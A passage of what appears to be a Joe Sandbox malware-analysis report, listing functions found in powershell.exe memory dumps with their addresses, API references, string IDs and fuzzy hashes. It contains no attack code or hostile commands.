                                                                                                                            • Source File: 00000015.00000002.2380023592.0000000007AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AB0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7ab0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: 4' l$4' l
                                                                                                                            • API String ID: 0-1902552836
                                                                                                                            • Opcode ID: 7780af5c401146c1e110acc43f176e74d3c8649d6ea54b0cd2b8e4fbebbab618
                                                                                                                            • Instruction ID: 74ba41165b6b1e9abaebf55380b46200a0aff0b15c84137b4ce383f8ab517fe2
                                                                                                                            • Opcode Fuzzy Hash: 7780af5c401146c1e110acc43f176e74d3c8649d6ea54b0cd2b8e4fbebbab618
                                                                                                                            • Instruction Fuzzy Hash: 7AF028B130C1414FC72613AC24253ABA7AB9FC2155F1E40B7CAA6CFA67CA208C058346
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 045B4BCC Relevance: 1.6, APIs: 1, Instructions: 56COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • GetFileAttributesW.KERNELBASE(00000000), ref: 045BA808
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2354451762.00000000045B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045B0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_45b0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: AttributesFile
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3188754299-0
                                                                                                                            • Opcode ID: 974be6bac9c051a8511c551d8241e64433b109498fadc4a89658d301b0b4fbe4
                                                                                                                            • Instruction ID: 0009eb5554be1c91661cd1d93beeee3977ab1b3caf462c9b76bd9a05d88fed39
                                                                                                                            • Opcode Fuzzy Hash: 974be6bac9c051a8511c551d8241e64433b109498fadc4a89658d301b0b4fbe4
                                                                                                                            • Instruction Fuzzy Hash: 872133B1D046199BCB14DFAAD84469EFBF4FB48320F14852AE819A7600D774AA44CFE5
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 045BA790 Relevance: 1.6, APIs: 1, Instructions: 55COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • GetFileAttributesW.KERNELBASE(00000000), ref: 045BA808
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2354451762.00000000045B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045B0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_45b0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: AttributesFile
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3188754299-0
                                                                                                                            • Opcode ID: 50ae5e27d116d1cfad5dbf0a9c3c60f1268bb70a7b788814b90298e2dd52adc4
                                                                                                                            • Instruction ID: c31ff9366ccf9cc37b89704490795eddd110c4ab1683d2094a7f23313a99e13c
                                                                                                                            • Opcode Fuzzy Hash: 50ae5e27d116d1cfad5dbf0a9c3c60f1268bb70a7b788814b90298e2dd52adc4
                                                                                                                            • Instruction Fuzzy Hash: 091136B1D046199BCB14CF9AD544A9EFBF4FB48324F14811AD819A3600C774A945CFE5
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07B5FF42 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380358885.0000000007B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B50000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7b50000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: EnumWindows
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1129996299-0
                                                                                                                            • Opcode ID: 26572a24d6ba51803fa49dd898987aa6973ff53409a1ba09f05691c9a3809e01
                                                                                                                            • Instruction ID: 97c88f480c3424f4220cc4c1148e8b616a9ae3d4995b8bd6731c6b2aeaacdd46
                                                                                                                            • Opcode Fuzzy Hash: 26572a24d6ba51803fa49dd898987aa6973ff53409a1ba09f05691c9a3809e01
                                                                                                                            • Instruction Fuzzy Hash: 9F1122B19002098EDB20DF9AC584B9EBBF4AF88324F148459D859B7640C774AA44CFA4
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07B5FF48 Relevance: 1.5, APIs: 1, Instructions: 45COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380358885.0000000007B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B50000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7b50000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: EnumWindows
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1129996299-0
                                                                                                                            • Opcode ID: 6fde181e1cbefcf01de0713b7c5274cf553e875199404250dbeae1feb8a1a4ed
                                                                                                                            • Instruction ID: 45d5e4f2144f4492ffc60280fff0435dc840811bdeed37bbd078b963665c6f4a
                                                                                                                            • Opcode Fuzzy Hash: 6fde181e1cbefcf01de0713b7c5274cf553e875199404250dbeae1feb8a1a4ed
                                                                                                                            • Instruction Fuzzy Hash: 471142B19003098FCB20DF9AC884BDEFBF8EB89324F248459D418A3200C774AA44CFA5
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF7290 Relevance: 1.5, Strings: 1, Instructions: 257COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: LR l
                                                                                                                            • API String ID: 0-1312738198
                                                                                                                            • Opcode ID: ef3c769337b6596a5db4a5ef83081491ea87ba435faa1d2f8609d5fafea444b1
                                                                                                                            • Instruction ID: 8058ebe33b80816670c2c3ec8a1e607dfa86554b0d2f3bc3f3cad2b36e70d576
                                                                                                                            • Opcode Fuzzy Hash: ef3c769337b6596a5db4a5ef83081491ea87ba435faa1d2f8609d5fafea444b1
                                                                                                                            • Instruction Fuzzy Hash: E3A157B0A00205DFDB18DF64D458AADBBB2FF88714F5084A9E9169B3A1DF35EC46CB40
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF10C0 Relevance: 1.4, Strings: 1, Instructions: 161COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: 4' l
                                                                                                                            • API String ID: 0-2995775838
                                                                                                                            • Opcode ID: 47a39463c55785c67d0943a5d43b088cb63ebd9008fbd151fce7a0c9a9f9abf5
                                                                                                                            • Instruction ID: bcde7a478b5d53024ff24babdf383ad6b61cba2121c990025cdfd88df0f904d5
                                                                                                                            • Opcode Fuzzy Hash: 47a39463c55785c67d0943a5d43b088cb63ebd9008fbd151fce7a0c9a9f9abf5
                                                                                                                            • Instruction Fuzzy Hash: 3451B070B042199FDB09EFA8C545ADE77F3EF88304F1189A8C519AB350DB72AD458B90
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF9794 Relevance: 1.4, Strings: 1, Instructions: 138COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: LR l
                                                                                                                            • API String ID: 0-1312738198
                                                                                                                            • Opcode ID: fed5fb6b4828f6043170e1b07849712cf7c03a20db581ab71fe0238c3250495a
                                                                                                                            • Instruction ID: 276c2691f399b21f2a615a79072b777035b6a2d12b78ff0264d64bc2b24a422b
                                                                                                                            • Opcode Fuzzy Hash: fed5fb6b4828f6043170e1b07849712cf7c03a20db581ab71fe0238c3250495a
                                                                                                                            • Instruction Fuzzy Hash: 8A5160B0A01205DFEB24DF65D498BADBBB5FF84745F148069D502EB290DB79AC4ACB40
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF8000 Relevance: 1.4, Strings: 1, Instructions: 124COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: sU
                                                                                                                            • API String ID: 0-4213316562
                                                                                                                            • Opcode ID: b223e7826eb3808748989d93622e7e3cc4cabe49c7f7349f778abb246a6210a3
                                                                                                                            • Instruction ID: 791c5679e81a005716df2f979bfa9b08d935d4ec6af8d163b7748fe0c0036a83
                                                                                                                            • Opcode Fuzzy Hash: b223e7826eb3808748989d93622e7e3cc4cabe49c7f7349f778abb246a6210a3
                                                                                                                            • Instruction Fuzzy Hash: 964124B0E007199BDB15CFA5C4407DEB7F2EF88304F148469D505BB744DB74A989CBA0
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF8010 Relevance: 1.4, Strings: 1, Instructions: 119COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: sU
                                                                                                                            • API String ID: 0-4213316562
                                                                                                                            • Opcode ID: ff67863bf689e4e1fe52616c05da640f2ea7bdc63c6ae5538319691b018e5560
                                                                                                                            • Instruction ID: 0c21568886e2c8cbf252d09ea538e00485d7e19723ce16c74e6b55430c16f741
                                                                                                                            • Opcode Fuzzy Hash: ff67863bf689e4e1fe52616c05da640f2ea7bdc63c6ae5538319691b018e5560
                                                                                                                            • Instruction Fuzzy Hash: E141F2B0E0071A9BEB15CFA5C8407EEBBF2EF88704F148469D505BB744DB74A949CB90
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF70C0 Relevance: 1.3, Strings: 1, Instructions: 41COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: ($l
                                                                                                                            • API String ID: 0-3452078508
                                                                                                                            • Opcode ID: 9f7a9c9f5efeb0e6cd16bec9b3306df4924b58268027f0c65636783eeac7b6b0
                                                                                                                            • Instruction ID: 564edc2ffa23a05cc1da2ceee41d278992a418528fdb95e25589e3085526ee36
                                                                                                                            • Opcode Fuzzy Hash: 9f7a9c9f5efeb0e6cd16bec9b3306df4924b58268027f0c65636783eeac7b6b0
                                                                                                                            • Instruction Fuzzy Hash: 0FF0F651B4C5600FDB4AA77421291AD1BA38F8A262799419DD60ADB385DE1D8E0703E7
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A4DAB0 Relevance: .5, Instructions: 532COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 143ba4acdcce587a65c0ead3f5470ac8c8fdb9d90e22027e79af311cde61bdb9
                                                                                                                            • Instruction ID: 5d7f020dceba75a8a083f481dc7589a81ace3264efe9facf26835188171c45ac
                                                                                                                            • Opcode Fuzzy Hash: 143ba4acdcce587a65c0ead3f5470ac8c8fdb9d90e22027e79af311cde61bdb9
                                                                                                                            • Instruction Fuzzy Hash: B92299B0B04219DFCB14DF64D844AAEB7B2BFC9314F018568E916AB390DB76EC45CB85
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BFE692 Relevance: .3, Instructions: 337COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: bffde391c9dc6ac0b5ec242dafe2814233148105f225ab76849c5fc50f411b3b
                                                                                                                            • Instruction ID: 4546cb0eb2d8ed42977ee5de59dedfdd78abca03b83e6069b6a18483ee1d4252
                                                                                                                            • Opcode Fuzzy Hash: bffde391c9dc6ac0b5ec242dafe2814233148105f225ab76849c5fc50f411b3b
                                                                                                                            • Instruction Fuzzy Hash: 91D18070600204ABD709DB78C855AAEB7A3EFC8208F14856DD5099B793DF76ED49CBE0
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF8200 Relevance: .3, Instructions: 280COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: a61dafcf38ff0203a47294fd6cea1ae002670f987168539d2823d50e0aa11aa4
                                                                                                                            • Instruction ID: b6da4a59895608c05b68741a9cf6b55a989408c292caa054cb1a7c16bc61ede3
                                                                                                                            • Opcode Fuzzy Hash: a61dafcf38ff0203a47294fd6cea1ae002670f987168539d2823d50e0aa11aa4
                                                                                                                            • Instruction Fuzzy Hash: DBC14CB0A00249DFEB15CFA4C454BAEBBB2FF89700F1584A8E905AB764DB74EC45CB50
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07AB1173 Relevance: .3, Instructions: 279COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380023592.0000000007AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AB0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7ab0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 13aa508598a31ca62cb7dc60b51a945876e50bc88ac23f42b89f25947fe7aa7f
                                                                                                                            • Instruction ID: f0111b75411d30a8f1a78e6cdc88686c7b92ccb6ef36352973ec6c5241c8c2bb
                                                                                                                            • Opcode Fuzzy Hash: 13aa508598a31ca62cb7dc60b51a945876e50bc88ac23f42b89f25947fe7aa7f
                                                                                                                            • Instruction Fuzzy Hash: C0A109B4B04218AFCB64DB58C811AAEB2E7EFC9714F16855AED15AF341CB31EC018B91
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF99CF Relevance: .3, Instructions: 257COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 4e22b2a7aad82e28bc3d8942c5ab44efce2fab5791739a41af25905d47ca8378
                                                                                                                            • Instruction ID: f620b97518953abc42b1365d300e3c1016d9140633f8b363095867e845420d0d
                                                                                                                            • Opcode Fuzzy Hash: 4e22b2a7aad82e28bc3d8942c5ab44efce2fab5791739a41af25905d47ca8378
                                                                                                                            • Instruction Fuzzy Hash: A0A1B1B5B052048FDB15DF78D899AAEBBF2EF88311B148069E516E7350CB34AC46CF90
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BFC038 Relevance: .3, Instructions: 254COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 234d64279d2d0e3ba58720b3eba2ec22889eb44d41854026ea43feac0e7f6370
                                                                                                                            • Instruction ID: b185fec89b37c3b38e226600158507be3bea452295bd5e0ba87e0f40ec6b3d4b
                                                                                                                            • Opcode Fuzzy Hash: 234d64279d2d0e3ba58720b3eba2ec22889eb44d41854026ea43feac0e7f6370
                                                                                                                            • Instruction Fuzzy Hash: 9F91AFB0B04209AFDB059F68D855BBE7BA6FF88314F144069EA05D7381CB39DD92CB91
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A4560D Relevance: .2, Instructions: 229COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 60939b96e3472aacfba28b77b6dd47fbd249f1c87f309dba8758e34721a67fee
                                                                                                                            • Instruction ID: beab83b5d29a1b3b6fdaa8eb4663d12108a1fdf19bf191dcc65c39f8ffa300fc
                                                                                                                            • Opcode Fuzzy Hash: 60939b96e3472aacfba28b77b6dd47fbd249f1c87f309dba8758e34721a67fee
                                                                                                                            • Instruction Fuzzy Hash: DCB13CB4A00219CFDB64DF24C844BAD77B6BF88305F1485E9E41AAB360DB359D85CF40
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BFA858 Relevance: .2, Instructions: 223COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 5d1ba809241865564341c7a5ae533daae5d9b7dbd3fa83060314c45ab85c9349
                                                                                                                            • Instruction ID: 8528e42bfd0f2c4a16004e873c674c867006f17cf6a26f18077a5ec368f30739
                                                                                                                            • Opcode Fuzzy Hash: 5d1ba809241865564341c7a5ae533daae5d9b7dbd3fa83060314c45ab85c9349
                                                                                                                            • Instruction Fuzzy Hash: 6B81ACB07003018FD7299B34C958B6A77E6FF89600B05C5B9DA1ACB391EB39DC46CB90
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BFD0A8 Relevance: .2, Instructions: 209COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: f8f00f619e623f89d365baf45d0c9be872e1c7b5ab3ce0c3eaba4b708fc06b2e
                                                                                                                            • Instruction ID: f112c762c6f5f7324e810cbed4cf578e4b24f3d17d0a1a09523a1e3a8f722d36
                                                                                                                            • Opcode Fuzzy Hash: f8f00f619e623f89d365baf45d0c9be872e1c7b5ab3ce0c3eaba4b708fc06b2e
                                                                                                                            • Instruction Fuzzy Hash: C6917FB0B00209AFDB05DFA4C854BADBBB2FF49304F148568E905AB355DB75AD49CF90
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A4E2E0 Relevance: .2, Instructions: 181COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: c4f87ec53231960e8f1390cba93e891d0647a2f85b3ff37a9e18ed48fa52b51f
                                                                                                                            • Instruction ID: 67c8740c941901622af53807e50bce2bb5fe614f98df582696a5faee092dc443
                                                                                                                            • Opcode Fuzzy Hash: c4f87ec53231960e8f1390cba93e891d0647a2f85b3ff37a9e18ed48fa52b51f
                                                                                                                            • Instruction Fuzzy Hash: 26715875A102098FCF15EBA4C490AEDBBB2FF84310F598469D615AB355DB72BC86CB80
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF8918 Relevance: .2, Instructions: 168COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 274c2eef958828a0a1df91cdfc6f63266a822469ba3840128e198223ec3561cb
                                                                                                                            • Instruction ID: 4030ea601754e615156e83183e04f6aa317849f8c01fd5ee8a3e50af43357054
                                                                                                                            • Opcode Fuzzy Hash: 274c2eef958828a0a1df91cdfc6f63266a822469ba3840128e198223ec3561cb
                                                                                                                            • Instruction Fuzzy Hash: 68712874E40205BFDB05DBA0D995BAEBBB3EF88300F648469E5156B390CB76AC42CF54
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF247F Relevance: .2, Instructions: 158COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 7952e01175cdbe78a0544493f60f70f4f4319c2d5395c3c8b3c9cebf71c3e30d
                                                                                                                            • Instruction ID: 0cc48604dc6c9454b46fd3f2d34ae5c05d96f3d777cc1e35e753ab9d9b9ef261
                                                                                                                            • Opcode Fuzzy Hash: 7952e01175cdbe78a0544493f60f70f4f4319c2d5395c3c8b3c9cebf71c3e30d
                                                                                                                            • Instruction Fuzzy Hash: A0516AB0A00205AFEB14DF64D954BEEBBB6FF88714F1041A8E905AB3A1DB34EC45CB50
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A43F08 Relevance: .2, Instructions: 157COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: b4abb6252dfd86c181117111d2447be8b8a900b6acc66a9fa8e05dfdf266752f
                                                                                                                            • Instruction ID: 3acf3df07ffc998b648f08012c3315213f254a543afe695b4c2c1fc0262cd65e
                                                                                                                            • Opcode Fuzzy Hash: b4abb6252dfd86c181117111d2447be8b8a900b6acc66a9fa8e05dfdf266752f
                                                                                                                            • Instruction Fuzzy Hash: 63516AB0A042899FDF15CFA5C854BEEBBF6AFC8304F148129E855A7391DB399D05CB50
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF2490 Relevance: .1, Instructions: 148COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 4505b9b82e1d279cffd2cb397840d58f46af5aaf3555ead7f7eb0c165dca4548
                                                                                                                            • Instruction ID: edd00df253d6f22ec63ab704da69ddae191955390732f9a4b4a73414622db4ba
                                                                                                                            • Opcode Fuzzy Hash: 4505b9b82e1d279cffd2cb397840d58f46af5aaf3555ead7f7eb0c165dca4548
                                                                                                                            • Instruction Fuzzy Hash: 28514CB0A00205AFEB18DF64D994BEDBBB6FF88714F144168E905AB3A1DB34EC45CB50
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF1568 Relevance: .1, Instructions: 140COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 4bf3509040db35af1b4b851f63d8125f3122099c412fb52743d3ade1d2f2a0ba
                                                                                                                            • Instruction ID: 15e1588fa540e4a799ec3aeed0dc5f3b2192f6b6cec7926d16e11a59dbcda0d1
                                                                                                                            • Opcode Fuzzy Hash: 4bf3509040db35af1b4b851f63d8125f3122099c412fb52743d3ade1d2f2a0ba
                                                                                                                            • Instruction Fuzzy Hash: EA51C1B4B00209EBDB05DF68D855BAE7BA2FF85704F108568EA059F394DF30AC49CB91
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A41792 Relevance: .1, Instructions: 138COMMON
